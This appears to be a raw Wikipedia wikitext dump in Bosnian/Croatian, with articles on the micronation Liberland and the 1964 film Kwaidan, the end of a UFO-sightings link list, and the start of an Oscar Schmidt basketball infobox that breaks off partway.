Vanjske veze == *[http://list25.com/25-of-the-most-famous-ufo-sightings-on-record/ 25 najslavnijih NLO viđenja] {{Webarchive|url=https://web.archive.org/web/20150330011010/http://list25.com/25-of-the-most-famous-ufo-sightings-on-record/ |date=2015-03-30 }} *[http://www.stylist.co.uk/life/20-famous-ufo-extra-terrestrial-and-alien-sightings 20 najslavnijih NLO viđenja] {{Webarchive|url=https://web.archive.org/web/20150417084930/http://www.stylist.co.uk/life/20-famous-ufo-extra-terrestrial-and-alien-sightings |date=2015-04-17 }} *[http://www.theguardian.com/world/shortcuts/2013/jun/21/top-10-ufo-sightings-roswell-berkshire-files 10 najslavnijih NLO viđenja] Guardian [[Kategorija:Ufologija]] 6y0p0bealjskc0kzbu9gsssfxtaebkv 0 4030880 42602652 42497289 2026-05-28T02:46:57Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602652 wikitext text/x-wiki {{Koordinate|45_46_N_18_52_E_type:country_region:CS|45° 46’ SGŠ, 18° 52’ IGD}} {{Okvir_zemlje_svijeta | ime = Liberland | izvorno_ime = Svobodná Republika Liberland | ime_genitiv = Liberlanda | eng_ime = Free Republic of Liberland | zastava = Flag of Liberland.svg | grb = Coat of Arms of Liberland.svg | lokacija = Location of Liberland within Europe.svg| službeni_jezik = [[Češki jezik|češki]], [[Engleski jezik|engleski]]| glavni_grad = | predstavnik_države_množina = Predsjednici | predstavnik_države = Izabrani Predsednik | predstavnik_države_osoba = [[Vit Jedlička]] | predsjednik_vlade_osoba = | površina_poredak = | površina = 7| vode = | stanovništvo_poredak = | stanovništvo = 63| godina_popisa = 2024| BDP_PKM_godina = | BDP_PKM = | BDP_PKM_rang = | BDP_PKM_per_capita = | BDP_PKM_per_capita_rang = | gustoća_stanovništva = 0| neovisnost = [[13]]. [[april]] [[2015]]. | stoti_dio_valute = Liberland Merit / Liberland Dollar| vremenska_zona = +1 <br /> [[UTC]] +2 ljeti | himna = | internetski_nastavak = nema; <br />službene stranice: http://liberland.org|liberland.org] | pozivni_broj = nema | komentar = | moto = Žít a nechat žít (To live and let live) }} '''Liberland''', zvanično '''Slobodna Republika Liberland''' ({{jez-češ|Svobodná republika Liberland}}), je samoproglašena [[mikronacija]] koja ističe pretenzije na bivšu [[rečna ada|rečnu adu]] poznatu kao Gornja Siga, a koja se nalazi na zapadnoj obali [[Dunav]]a, između [[Srbija|Srbije]] i [[Hrvatska|Hrvatske]], sa kojom ima kopnenu granicu. Ovu mikronaciju je proglasio [[Češka|češki]] [[Libertarijanstvo|libertarijanski]] političar [[Vit Jedlička]], [[13. april]]a [[2015]]. godine, dok je na inicijalnim izborima od prvih troje stanovnika, izabran kao prvi predsednik Slobodne Republike Liberland glasovima 2 za, 0 protiv. Teritorija je predmet spora Hrvatske i Srbije, privremeno pod kontrolom Hrvatske. Vlasti Republike Hrvatske, početkom maja 2015. godine zabranile su pristup tom području, a Predsednika Jedličku dva puta policijski pritvarali na manje od jednog dana zbog aktivnosti koje provodi na tom području. U toku je sudski spor zbog ovog događaja. == Historija == Ova [[mikronacija]] svoje uređenje temelji na [[političkoj]] [[ideologiji]] [[libertarijanizma]]. Po Ustavu Liberlanda pripadnici političkih ideologija poput [[komunizma]], [[fašizma]], [[nacional-socijalizma]], [[Islamske Države]], [[Al Kaide]] i drugih nisu poželjni u Liberlandu. Zvaničan sajt Liberlanda iznosi tvrdnje da je „država“ stvorena u skladu sa međunarodnim pravom zbog aktuelnog [[teritorijalnog spora Srbije i Hrvatske]]. Od rata u bivšoj [[Jugoslaviji]] neke granične teritorije su bile sporne, poput vukovarske i šarengradske ade. Ipak, ni srpska ni hrvatska država nije isticala da je područje na kome je proglašen Liberland (lokalno poznato kao Gornja Siga) deo njene teritorije. == Proglašenje == Slobodna država Liberland je proglašena podizanjem zastave koju je postavio Vit Jedlička sa svojim saradnicima<ref>Koulová, Zuzana (15. 4. 2015). „On to myslí vážně! Vít Jedlička, zakladatel nového státu Liberland, promluvil. Zavádí elektřinu, internet, všechno. A lidé se k němu hrnou” (на језику: Czech). http://www.parlamentnilisty.cz/arena/rozhovory/On-to-mysli-vazne-Vit-Jedlicka-zakladatel-noveho-statu-Liberland-promluvil-Zavadi-elektrinu-internet-vsechno-A-lide-se-k-nemu-hrnou-370917 </ref><ref>(Video) (na jeziku: Czech) Media Europe https://www.youtube.com/watch?v=I74R1tDxdto</ref> i čitanjem osnivačke deklaracije: ''Mi, članovi Pripremnog komiteta države „Slobodna Republika Liberland“ izdajemo ovaj proglas:'' ''Mi, na osnovu prava na samoopredeljenje, prava otkrivanja i prava na samoupravu, proglašavamo osnivanje „Slobodne Republike Liberland“. Slobodna Republika Liberland je slobodna i nezavisna država i kao takva, Slobodna Republika Liberland ima potpuno pravo da se brani, zaključuje mir, formira saveze, uspostavlja trgovinu i uživa sva druga prava suverene države. Kao članica porodice naroda, zalažemo se za poštovanje međunarodnih zakona koji obavezuju sve postojeće države.'' Zastava se sastoji od žute pozadine (simbolizuje libertarijanizam) i crna trake postavljene kroz sredinu (simbolizuje anarhiju / ustanak) i grbom u centru. Jedlička je član Češke partije slobodnih građana koja bazira svoje vrednosti na klasičnoj liberalnoj ideologiji.<ref>{{Cite web|url=http://www.independent.co.uk/news/world/europe/the-libertarian-about-to-launch-a-hostile-takeover-of-europes-newest-country-a6988741.html|title=Meet the man who is setting up a new country in the middle of Europe|website=The Independent|language=en-GB|access-date=18. 4. 2016}}</ref><ref>{{Cite web|title=Twitter|url=https://mobile.twitter.com/liberlanddev/status/590389631151116288|website=mobile.twitter.com|accessdate=28. 12. 2015}}</ref> Jedlička je izjavio da ni Srbija ni Hrvatska niti bilo koja druga država nisu izrazili pretenzije na ovu teritoriju kao svoju sopstvenu (Terra Nullius). Samim time, tvrdi on, njegova zemlja ne remeti ničiji suverenitet. Prema ustaljenim principima kao i pravilima propisanim od Konvencije u Montevideu 1933., Jedlička veruje da je ovim postupkom sprovedenim sa svojom devojkom i prijateljom sa fakulteta, država, tehnički uspostavljena. Hrvatska i Srbija, nisu polagali pravo na ovu teritoriju. Granice države, utvrđene su prema postojećem stanju i nisu ometale suverenitet ni jedne države. Aprila 2015. Jedlička je uputio zvanične diplomatske zahteve Srbiji i Hrvatskoj a zatim i svim drugim državama. Decembra 2015., Jedlička je predstavio prvu privremenu vladu.<ref name="B92-1">{{cite news|title=Čeh proglasio državu između Srbije i Hrvatske|url=http://www.b92.net/zivot/vesti.php?yyyy=2015&mm=04&dd=15&nav_id=980758|accessdate=15. 4. 2015|agency=BETA|publisher=B92|date=15. 4. 2015|language=Serbian}}</ref> == Pristup == Hrvatska je uspostavila policijske jedinice kako bi sprečila pristalice Liberlanda da dopru do ove teritorije. Ovo se smatra čudnim rešenjem jer Hrvatska ne priznaje ovaj prostor kao svoju teritoriju ali je ipak razmestila svoje jedinice van svoje teritorije.<ref name="usnews">{{cite news|title=Police in the Balkans block inauguration of Europe's new "mini-state"|url=http://www.usnews.com/news/business/articles/2015/05/09/microstate-tax-haven-in-the-balkans-not-that-easy|accessdate=9. 5. 2015|agency=Associated Press|date=9. 5. 2015}}</ref> U početku, češki novinari su mogli da uđu u prostor sa Jedličkom.<ref name="radimpanenka">{{cite news|last1=Panenka|first1=Radim|title=Navštívili jsme nový stát Liberland, který v Evropě založil Čech Vít Jedlička. Podívejte se, jak to tam vypadá|url=http://www.parlamentnilisty.cz/arena/monitor/Navstivili-jsme-novy-stat-Liberland-ktery-v-Evrope-zalozil-Cech-Vit-Jedlicka-Podivejte-se-jak-to-tam-vypada-371507|accessdate=20. 4. 2015|publisher=Parlamentní Listy|date=20. 4. 2015|language=Czech}}</ref> Tim novinara iz srpskog javnog informativnog servisa Radio-televizija Vojvodine pokušao je da poseti oblast radi snimanja izveštaja za vesti. Oni su izvestili da im je hrvatska granična policija uskratila pristup bez pružanja bilo kakvog jasnog objašnjenja, i da je zastava uklonjena. Bosanskoj grupi novinara iz Dnevnog avaza koji su pokušali da posete oblast rečeno je od strane hrvatske policije da Hrvatska nameće kaznu od kuna 2.500 za one koji ulazi u zonu blizu granice sa kolima. Oni su pozajmili bicikle od lokalnog stanovništva, ali dok su pokušali da ponovo priđu području, naišli su na još jednu patrolu i nisu mogli da nastave pored graničnog ulaza. U maju 2015. godine, Vita Jedličku i njegovog prevodioca Sven Sambunjaka na kratko je privela hrvatska policija nakon što su pokušali preći granicu. Jedlička je proveo jednu noć u pritvoru a potom je osuđen i naređeno mu je da plati kaznu za ilegalni prelazak hrvatske granice ali se žalio na presudu. On je tvrdio da su najmanje tri građana Liberlanda unutar zabranjene teritorije, koji su došli iz Švicarske. On nije gledao na hapšenje kao nešto negativno, već kao priliku za raspravu o politici prema Liberlandu kao i sticanje uvida u način razmišljanja hrvatske policije i vlasti. Prema Jedlički, policajci su bili prijateljski raspoloženi i radoznali o projektu. Nekoliko dana posle njegovog pritvora, šest drugih osoba (iz Češke, Irske, Nemačke, Danske i SAD), privedeno je i kažnjeno. Uložena je žalba Ambasade Danske u Zagrebu jer su pritvoreni tvrdili da su sprečeni da bilo koga kontaktiraju tokom hapšenja i pritvaranja. Njihov cilj je bio, da pod pokroviteljstvom Švicarske neprofitne organizacije "Udruženje naseljenika Liberlanda", reše spornu oblast. Prema sajtu Liberlanda, Jedlička i 10 drugih osoba, ponovo je 16. maja 2015. godine privela hrvatska policija. Jedlička je pušten nakon sudskog saslušanja 17. maja 2015. Hrvatska policija je nastavila pritvaranje bilo koga ko stupi u oblast Liberlanda. Dana 13. juna, četiri osobe, koje su uspele da se tamo iskrcaju, pritvorene su zbog ilegalnog prelaska granice čamcem. Prema informacijama organizacije "Liberland Settlement Corporation" čiji su bili članovi, pušteni su 14. juna. Dana 18. juna 2015. godine, danski aktivista Ulrik Grøssel Haagensen pristupio je području malim čamcem ali je praćen obalom od strane hrvatske policije. Hagensen je pokušao da tvrdi da ima pravo pristupa na teritoriju, ali je uhapšen i fizički odvučen hrvatske policije. Incident je snimljen u video formatu. Jedlička je naveo da namerava da tuži Hrvatsku na sudu zbog prelaska međunarodne granice i napad na Liberland. == Ostale aktivnosti == * U toku je inicijativa da se organizuje fudbalski tim koji predstavlja Liberland u Međunarodnom fudbalu van okvira FIFA-e. Pavel Kosik, trener i organizator, navodi da je za cilj turnir u 2018., jer on ne misli da će njegov tim biti spreman na vreme za ConIFA svetsko prvenstvo u fudbalu u Abhaziji 2016., delimično priznatoj državi čiju teritoriju prisvaja Gruzija. * Tokom oktobra 2016. puštena je Android aplikacija Liberland E-residency. Ova aplikacija omogućava e-rezidentima pristup globalnom slobodnom tržištu. Kombinujući ideje servisa UBER, Fiver, Airbnb i eBay, pruža mogućnost da na osnovu GPS lokacije, korisnici mogu da ponude svoje usluge, besplatno, bilo gde u svetu. Uz integraciju sa Facebook, Linkedin i Bitcoin servisom, omogućava trenutno poslovanje po Liberland standardima. Plaćanjem dobrovoljnog poreza, korisnici stiču "zasluge" (merits) koje kasnije mogu da promene za punopravno državljanstvo Liberlanda. * U Januaru 2017. član hrvatskog sabora Ivan Pernar, pročitao je pismo Jedličke upućeno Saboru i hrvatskim građanima.<ref>G. Pernar čita pismo Jedličke u Saboru. Januar 2017. https://dotsub.com/view/7241f761-26cd-4a1b-a241-38e403125ec4 </ref> * U Aprilu 2017. proslavljena je dvogodišnjica postojanja Liberlanda. Na proslavi u mađarskom gradu Baja, prisustvovali su brojni između ostalih i član hrvatskog sabora Ivan Pernar koji je pristalica Liberlanda i koji je tom prilikom održao govor.<ref>Govor g. Pernara na proslavi 2 godine postojanja Liberlanda (Video) (jezik: Engleski. titl: Srpski) https://dotsub.com/view/c85a8188-f8de-41ae-a65d-d43d98294953</ref> * Krajem Maja 2017. Predsednik Jedlička je posetio Beograd gdje je razgovarao sa pristalicama i najavio otvaranje nove kancelarije u Srbiji. * Početkom Juna 2017. Predsednik Jedlička je posetio Izrael i razgovarao sa novinarima i razvoju države.<ref>Predsednik Jedlička posetio Izrael. (jezik: Hebrejski) http://likudliberal.org/?page_id=180 {{Webarchive|url=https://web.archive.org/web/20171201081244/http://likudliberal.org/?page_id=180 |date=2017-12-01 }}</ref> == Državljanstvo ==  Prema zvaničnom sajtu, samo komuniste, neonacisti i drugi ekstremisti kao i lica sa krivičnim delima, ne ispunjavaju uslove za državljanstvo. Prema The Guardian-u (UK), Liberland je primio 200.000 zahteva za državljanstvo za jednu nedelju postojanja.<ref>[https://www.theguardian.com/world/2015/apr/24/liberland-hundreds-of-thousands-apply-to-live-in-worlds-newest-country Liberland: hundreds of thousands apply to live in world's newest 'country]</ref> Početkom maja 2015., Liberland izdaje prvih trideset državljanstava. Ovaj događaj je trebalo da se održi u Liberlandu, ali je hrvatska granična policija zaustavila grupu na ulasku u teritoriju Liberlanda sa hrvatske strane. Bilo je pokušaja da se pređe reka ribarskim čamcima sa srpske strane, ali je propao zato što lokalni ribari nisu imali dozvole za prevoz ljudi. Osim toga, srpska policija je obavestila Jedličku da će svi koji pokušaju ilegalni prelazak granice biti uhapšeni. Improvizovana Ceremonija je održana u Bačkom Monoštoru. Istovremeno, Jedlička je organizovao planove za još jedan pokušaj, putovanje iz Češke u Liberland Dunavom (koji predstavlja međunarodni plovni put). Radna verzija predloženog ustava je napisana i revidirana nekoliko puta. Glavni autor je Kacper Zajac, uz doprinos drugih volontera. Ustav se sastoji od četiri člana:. Zakon o osnovnim pravima, zakonodavna vlast, izvršna vlast, i sudska vlast. == Reakcije == [[Datoteka:Vít Jedlička - portrét (cropped).jpg|desno|150px|mini|Vít Jedlička]] * [[Datoteka:Flag of Croatia.svg|25px]][[Ministarstvo vanjskih i europskih poslova Republike Hrvatske]] je dalo svoj neslužben komentar na [[Facebook]]u:''Virtualne dosjetke, ma koliko one ponekad bile i zanimljive, ostaju to što jesu…virtualne dosjetke, a za njih nemamo nikakav službeni komentar.''<ref>[https://hr-hr.facebook.com/permalink.php?story_fbid=1093939563955389&id=506453726037312 Ministarstvo vanjskih i europskih poslova RH], Facebook, 15. travnja 2015.</ref><ref name="index.hr">G.Ba. , [http://www.index.hr/black/clanak/hrvatski-eksperti-liberland-je-drzava-u-rangu-republike-pescenice/816342.aspx ''Hrvatski eksperti: "Liberland je država u rangu Republike Peščenice"''], index.hr, 24. aprila 2015., pristupljeno 1. maja 2015.</ref> * [[Datoteka:Flag of Serbia.svg|25x25piksel]]Ministarstvo inostranih poslova Srbije izjavilo je: " U vezi sa informacijom, koja se pojavila u domaćim, stranim medijima i na internetu, da je Čeh Vit Jedlička, desničarski evroparlmentarac, 13. aprila 2015. godine, osnovao "državu Liberland ", Ministarstvo spoljnih poslova saopštava da je stav Republike Srbije u vezi sa državnom granicom, da se ona proteže sredinom plovnog puta na Dunavu, shodno zakonskom razgraničenju iz 1945. godine, i da "nova država" nije formirana na teritoriji Republike Srbije. * [[Datoteka:Flag of Croatia.svg|25px]]Hrvatsko veleposlanstvo u New Yorku za Fox News: ''"Ne smatramo ih nacijom. Smatramo ih virtualnim uljezima i ne shvaćamo njihove tvrdnje ozbiljno"''.<ref name="index.hr"/><ref name="foxnews">{{eng oznaka}} [http://www.foxnews.com/world/2015/04/26/birth-nation-czech-pol-claims-to-have-established-new-country-in-no-mans-land/ Perry Chiaramonte, ''Birth of a nation? Czech pol claims to have established new country in no-man’s land''], FoxNews.com, 24. aprila 2015., pristupljeno 1. maja 2015.</ref> * [[Datoteka:Flag of Croatia.svg|25px]]Maja Seršić, profesorica međunarodnog prava na [[Pravni fakultet u Zagrebu|Pravnom fakultetu u Zagrebu]]: ''"Ne znam detalje oko Liberlanda, ali na temelju onog što sam pročitala u tisku, Liberland shvaćam kao državu u rangu [[Republika Peščenica|Republike Peščenice]], dakle kao šalu. Taj je teritorij momentano, koliko znam, pod suverenošću Republike Hrvatske, a čiji će biti nakon rješenja spora – bilo sporazumom stranaka bilo rješenjem suda ili arbitraže – vidjet će se. Čak i da gospodin Jedlička ili netko drugi ima vlasništvo nad tim dijelom teritorija, on ostaje pod suverenošću Republike Hrvatske." Dodaje kako je važno da ne miješamo vlasništvo i suverenost. "inače bismo na svakom gruntu u vlasništvu pojedinaca u Republici Hrvatskoj (i drugim državama) mogli imati proglašene 'države', koje bi onda priznali vlasnici susjednih 'gruntova-država'", ističe. Dodaje da eventualno priznanje Liberlanda od strane neke treće države ne bi imalo pravnog učinka, jer ako ne postoje pretpostavke za postojanje države po međunarodnom pravu, priznanje ne može stvoriti državu. "Nadajmo se da će Liberland mirno egzistirati kao i Republika Peščenica, no, ako dođe do remećenja javnog reda i mira, organi države imaju pravo djelovati, kao i na ostalim dijelovima svog teritorija"''.<ref name="index.hr"/> * [[Datoteka:Flag_of_the_United_States.svg|25px]]Lloyd Bonfield, profesor poslovnog prava na New York Law School: ''"Potrebno je pogledati primirje između Hrvatske i Jugoslavije iz 1992. kako bi se utvrdile granice Hrvatske. Ako nije dio Hrvatske, vjerojatno pripada Jugoslaviji, a taj dio Jugoslavije danas je Srbija. Najmanje je vjerojatno da nije dio nijedne zemlje"''<ref name="foxnews"/><ref name="index.hr2">G.Ba. , [http://www.index.hr/black/clanak/pravni-strucnjaci-i-hrvatsko-veleposlanstvo-protiv-liberlanda-smatramo-ih-virtualnim-uljezima/815863.aspx ''Pravni stručnjaci i hrvatsko veleposlanstvo protiv Liberlanda: Smatramo ih virtualnim uljezima''], index.hr, 22. aprila 2015., pristupljeno 1. maja 2015.</ref> * Pravni eksperti Srbije i Hrvatske tvrde da prema međunarodnom pravu, Jedlička nema pravo na ovu teritoriju.<ref>[[Wikipedija:Liberland#cite note-usnews-8|Liberland - Wikipedia<!-- Botovski generisani naziv -->]]</ref><ref>[[Wikipedija:Liberland#cite note-praguepost-9|Liberland - Wikipedia<!-- Botovski generisani naziv -->]]</ref><ref>[[Wikipedija:Liberland#cite note-WashingtonPost-17|Liberland - Wikipedia<!-- Botovski generisani naziv -->]]</ref> Novinari koji prate razvoj događaja, nisu sigurni kako da posmatraju Jedličkine tvrdnje. Pojedini i dalje ceo događaj posmatraju kao šalu dok drugi sve više posmatraju Jedličkino delovanje kao ozbiljnu ideju.<ref>[[Wikipedija:Liberland#cite note-wlrn-18|Liberland - Wikipedia<!-- Botovski generisani naziv -->]]</ref><ref>[[Wikipedija:Liberland#cite note-metro-19|Liberland - Wikipedia<!-- Botovski generisani naziv -->]]</ref><ref>http://www.nytimes.com/2015/08/16/magazine/the-making-of-a-president.html</ref><ref name=":0">[https://dotsub.com/view/2d8dd2c0-3d55-4117-bcc5-1cece9bfd5e4 The Noite (181016) - Entrevista com Vít Jedlička - Captioned | Dotsub<!-- Botovski generisani naziv -->]</ref> U mnogim slučajevima, reakcije se negativne kao na primer Gorana Vojkovića u hrvatskom tabloidu index.hr.<ref>[[Wikipedija:Liberland#cite note-21|Liberland - Wikipedia<!-- Botovski generisani naziv -->]]</ref> Međutim, sve je veće međunarodno interesovanje za Liberland tako je Predsednik Jedlička, posetio i učestvovao u brojnim emisijama i skupovima. Krajem 2016. godine posetio je Brazil <ref name=":0" />, Sarajevo <ref>[http://www.radiosarajevo.ba/metromahala/teme/vit-jedlicka-cast-mi-je-gostovati-u-sarajevu-na-najvecem-festivalu-sloboda/242438 Osnivač Liberlanda /Vit Jedlička: Svi državljani BiH mogu biti dio naše ideje slobode / Radio Sarajevo<!-- Botovski generisani naziv -->]</ref>, Moskvu<ref>{{Cite web |title=Программа чтений - Чтения Адама Смита<!-- Botovski generisani naziv --> |url=http://smithforum.ru/programma-chteniy |access-date=2017-06-10 |archive-date=2016-11-14 |archive-url=https://web.archive.org/web/20161114234425/http://smithforum.ru/programma-chteniy }}</ref>, kao i mnoge druge skupove gde je propagirao ideju libertarijanske države. *[[Datoteka:Flag_of_the_United_States.svg|25px]]U članku magazina Čikaški žurnal međunarodnog prava ([https://cjil.uchicago.edu/ Chicago Journal of International Law]), čikaški pravni univerzitet analizira slučaj Liberlanda po kriterijumu Konvencije iz Montevidea i činjenici da ni Hrvatska ni Srbija ne polažu pravo na ovu teritoriju. Prema analizi iz članka, "Hrvatsko insistiranje da je Liberland Srpska teritorija može uzrokovati gubitak hrvatskih legalnih prava nad ovom teritorijom." S druge strane, ako je teritorija na koju Liberland polaže pravo zaista srpska, srpsko odricanje od ove teritorije (po zvaničnoj izjavi [http://www.mfa.gov.rs/sr/index.php МИП РС] {{Webarchive|url=https://web.archive.org/web/20110906061447/http://www.mfa.gov.rs/sr/index.php |date=2011-09-06 }}) transformiše prava ove teritorije u "ničiju zemlju" (Terra Nullius). U oba slučaja, teritorija pripada prvom entitetu - u ovom slučaju Liberlandu. ''"Liberland je interesantan slučaj jer, ni jedna od strana koje bi mogle da polažu pravo na ovu teritoriju, nisu zainteresovane da to i učine. Ovo će verovatno ostati na nivou interesantnog slučaja sa malim posledicama na međunarodnom nivou. Ostatak sveta će koristiti uobičajene metode: nasilje ili diplomatiju kao glavne alate u polaganju prava nad nekom teritorijom."'' - Stratfor<ref>Stratfor - Čikašku pravni univerzitet o slučaju Liberland<nowiki/>https://www.stratfor.com/analysis/introducing-liberland-europes-newest-country</ref> == Drugi zahtjevi nad tim područjem == * Projekt mikrodržave pod nazivom ''Paraduin'' postavio je zahtjev na isto područje, kako navode na svojim internetskim stranicama.<ref>{{eng oznaka}} [http://www.paraduin.nl/?p=108 Paraduin claims terra nullius Siga] {{Webarchive|url=https://web.archive.org/web/20150428003240/http://www.paraduin.nl/?p=108 |date=2015-04-28 }}, paraduin.nl, pristupljeno 3. maja 2015.</ref> * ''Republika Južna Maudlandia'', još jedan projekat mikrodržave, na svojim internetskim stranicama navodi kako su postavili zahtjev na to područje [[18. marta]] 2015. godine, nazivajući ga ''Autonomna oblast Panonije''.<ref>{{eng oznaka}} [http://southmaudlandia.moonfruit.com/about/4588813496 South Maudlandia Official Site: About] {{Webarchive|url=https://web.archive.org/web/20150504211646/http://southmaudlandia.moonfruit.com/about/4588813496 |date=2015-05-04 }}, southmaudlandia.moonfruit.com, pristupljeno 3. maja 2015.</ref> == Povezano == * [[Sealand]] * [[Bir Tavil]] == Izvori == {{Izvori}} == Vanjske veze == {{Commonscat|Liberland}} * [http://liberland.org/en/main/ Zvanični sajt mikronacije] {{Webarchive|url=https://web.archive.org/web/20150417221306/http://liberland.org/en/main/ |date=2015-04-17 }} [[Kategorija:Mikronacije]] [[Kategorija:Dunav]] k32sxktksxabyu06dmz5758yxyudxc0 0 4031496 42602599 42411059 2026-05-27T19:43:56Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602599 wikitext text/x-wiki {{Infokutija film | naslov = 怪談 | slika = Kwaidanposterjapanese.jpg | director = [[Masaki Kobayashi]] | writer = Yôko Mizuki | starring = [[Rentarō Mikuni]]<br />[[Keiko Kishi]]<br />[[Michiyo Aratama]]<br />[[Misako Watanabe]]<br />[[Tatsuya Nakadai]] | producer = Shigeru Wakatsuki | music = [[Toru Takemitsu]] | cinematography = [[Yoshio Miyajima]]<ref name=galbraith2008>{{cite book|author=Stuart Galbraith IV|title=The Toho Studios Story: A History and Complete Filmography|url=http://books.google.com/books?id=f7o8pq6G_dYC&pg=PA18|date=16 May 2008|publisher=Scarecrow Press|isbn=978-1-4616-7374-3|page=217}}</ref> | distributor = [[Toho Company Ltd.]] | released = {{Film date|1964|12|29|df=y}} | runtime = 183 min. | country = {{flag|Japan}} | language = japanski | based on = {{based on|''[[Kwaidan: Stories and Studies of Strange Things]]''|[[Lafcadio Hearn]]}} }} {{nihongo|'''''Kwaidan'''''|怪談|Kaidan|doslovno "Priče o duhovima"}} je [[japanski]] [[Horor film|horor]] [[Omnibus film|omnibus]] film snimljen 1964. godine u režiji [[Masaki Kobayashi|Masaka Kobayashija]], poznat kao jedno od najuspješnijih i najuticajnijih ostvarenja žanra 1960-ih. Temelji se na četiri pripovjetke grčko-japanskog pisca Lefcadia Herna. Prva, pod naslovom ''Crna kosa'', prikazuje mačevaoca koji se razveo od siromašne žene koju voli kako bi se oženio za bogatašicu. Druga, pod naslovom ''Snježna žena'', prikazuje kako seljak sreće ženu-demona [[Yuki-onna]]. Treća, ''Bezuhi Hoichi'', prikazuje kako [[Bezuhi Hoichi|istoimeni]] slijepi muzičar postaje metom duhova [[klan Taira|klana Taira]]. Četvrta, ''U šalici čaja'', prikazuje pisca koji počinje opažati lica u šalici čaja. ''Kwaidan'' je sljedeće godine prikazan na [[Kanski filmski festival 1965.|Kanskom festivalu]], gdje je dobio specijalnu nagradu žirija. == Reference == {{izvori}} ==Vanjske veze== * {{IMDb title|0058279|Kwaidan}} * {{Rotten-tomatoes|kwaidan|title=Kwaidan}} * {{cite web|url=http://www.jmdb.ne.jp/1965/co000070.htm|title=怪談 (Kaidan)|accessdate=16. VII 2007|language=japanski|publisher=[[Japanese Movie Database]]|archive-date=2018-05-05|archive-url=https://web.archive.org/web/20180505013055/http://www.jmdb.ne.jp/1965/co000070.htm|url-status=dead}} === Tekstovi predloška adaptirani za ''Kwaidan'' === *[http://www5.ocn.ne.jp/~kilib/hearn/works/shadowings/the_reconciliation.html ''The Reconciliation'' at K.Inadomi's Private Library] {{Webarchive|url=https://web.archive.org/web/20060620081212/http://www5.ocn.ne.jp/~kilib/hearn/works/shadowings/the_reconciliation.html |date=2006-06-20 }} *[http://www5.ocn.ne.jp/~kilib/hearn/works/kwaidan/the_story_of_mimi-nashi-hoichi.html ''The Story of Mimi-nashi-Hōichi'' at K.Inadomi's Private Library] {{Webarchive|url=https://web.archive.org/web/20060512182102/http://www5.ocn.ne.jp/~kilib/hearn/works/kwaidan/the_story_of_mimi-nashi-hoichi.html |date=2006-05-12 }} *[http://www5.ocn.ne.jp/~kilib/hearn/works/kwaidan/yuki-onna.html ''Yuki-Onna'' at K.Inadomi's Private Library] {{Webarchive|url=https://web.archive.org/web/20070311103204/http://www5.ocn.ne.jp/~kilib/hearn/works/kwaidan/yuki-onna.html |date=2007-03-11 }} {{Masaki Kobayashi}} {{Cannes - nagrada žirija}} {{Normativna kontrola}} [[Kategorija:Japanski filmovi]] [[Kategorija:Omnibus filmovi]] [[Kategorija:Horor filmovi]] [[Kategorija:Filmovi fantastike]] [[Kategorija:Jidaigeki filmovi]] 9dasg6cj0wd67n0gon5vy0fz2mb4slq 0 4033227 42602545 42582928 2026-05-27T13:31:50Z Edgar Allan Poe 29250 42602545 wikitext text/x-wiki {{Infokutija Košarkaš | ime = Oscar Schmidt | slika = Schmidtoscar.jpg | veličina = 220px | opis = | broj = | pozicija = [[nisko krilo]] / [[bek šuter]] | visina_ft = 6 | visina_in = 8.75 | visina_napomena = | težina_lb = 243 | težina_footnote = | liga = | momčad = | momčad_link = | datum_rođenja = [[16. veljače]] [[1958.]] | mjesto_rođenja = {{flagicon|BRA|1889a}} [[Natal]], [[Brazil]] | datum_smrti = {{Datum smrti i dob|2026|4|17|1958|2|16|hr=da}} | mjesto_smrti = {{flagicon|BRA}} [[São Paulo]], [[Brazil]] | nacionalnost = | srednja_škola = | sveučilište = | draft_godina = 1984. | draft_krug = 6. | draft_pick = 13 | draft_momčad = [[New Jersey Nets]] | karijera_start = [[1974.]] | karijera_kraj = [[2003.]] | trener_start = | trener_kraj = | godine1 = 1974 – 1978 | momčad1 = {{flagicon|BRA|1968}} [[Sociedade Esportiva Palmeiras (košarka)|Palmeiras]] | godine2 = 1978 – 1982 | momčad2 = {{flagicon|BRA|1968}} [[Esporte Clube Sírio (košarka)|Sírio]] | godine3 = 1982 – 1990 | momčad3 = {{flagicon|ITA|1946}} [[Juvecaserta Basket]] | godine4 = 1990 – 1993 | momčad4 = {{flagicon|ITA|1946}} [[Pallacanestro Pavia]] | godine5 = 1993 – 1995 | momčad5 = {{flagicon|ŠPA}} [[CB Valladolid]] | godine6 = 1995 – 1997 | momčad6 = {{flagicon|BRA}} [[Sport Club Corinthians Paulista (košarka)|Corinthians]] | godine7 = 1997 – 1998 | momčad7 = {{flagicon|BRA}} [[Bandeirantes/Rio Claro Basketball|Bandeirantes]] | godine8 = 1998 – 1999 | momčad8 = {{flagicon|BRA}} [[Barueri Basketball]] | godine9 = 1999 – 2003 | momčad9 = {{flagicon|BRA}} [[Flamengo Basketball]] | godine10 = | momčad10 = | godine11 = | momčad11 = | godine12 = | momčad12 = | godine13 = | momčad13 = | godine14 = | momčad14 = | godine15 = | momčad15 = | godine16 = | momčad16 = | godine17 = | momčad17 = | godine18 = | momčad18 = | godine19 = | momčad19 = | godine20 = | momčad20 = | godine21 = | momčad21 = | godine22 = | momčad22 = | godine23 = | momčad23 = | godine24 = | momčad24 = | godine25 = | momčad25 = | godine26 = | momčad26 = | godine27 = | momčad27 = | godine28 = | momčad28 = | godine29 = | momčad29 = | godine30 = | momčad30 = | godine31 = | momčad31 = | godine32 = | momčad32 = | godine33 = | momčad33 = | godine34 = | momčad34 = | godine35 = | momčad35 = | godine36 = | momčad36 = | godine37 = | momčad37 = | godine38 = | momčad38 = | godine39 = | momčad39 = | godine40 = | momčad40 = | sgodine1 = | smomčad1 = | sgodine2 = | smomčad2 = | sgodine3 = | smomčad3 = | sgodine4 = | smomčad4 = | sgodine5 = | smomčad5 = | sgodine6 = | smomčad6 = | sgodine7 = | smomčad7 = | sgodine8 = | smomčad8 = | sgodine9 = | smomčad9 = | sgodine10 = | smomčad10 = | sgodine11 = | smomčad11 = | sgodine12 = | smomčad12 = | sgodine13 = | smomčad13 = | sgodine14 = | smomčad14 = | sgodine15 = | smomčad15 = | sgodine16 = | smomčad16 = | sgodine17 = | smomčad17 = | sgodine18 = | smomčad18 = | sgodine19 = | smomčad19 = | sgodine20 = | smomčad20 = | rgodine1 = 1978 – 1996 | rep1 = {{KošRep|BRA}} | rgodine2 = | rep2 = | rgodine3 = | rep3 = 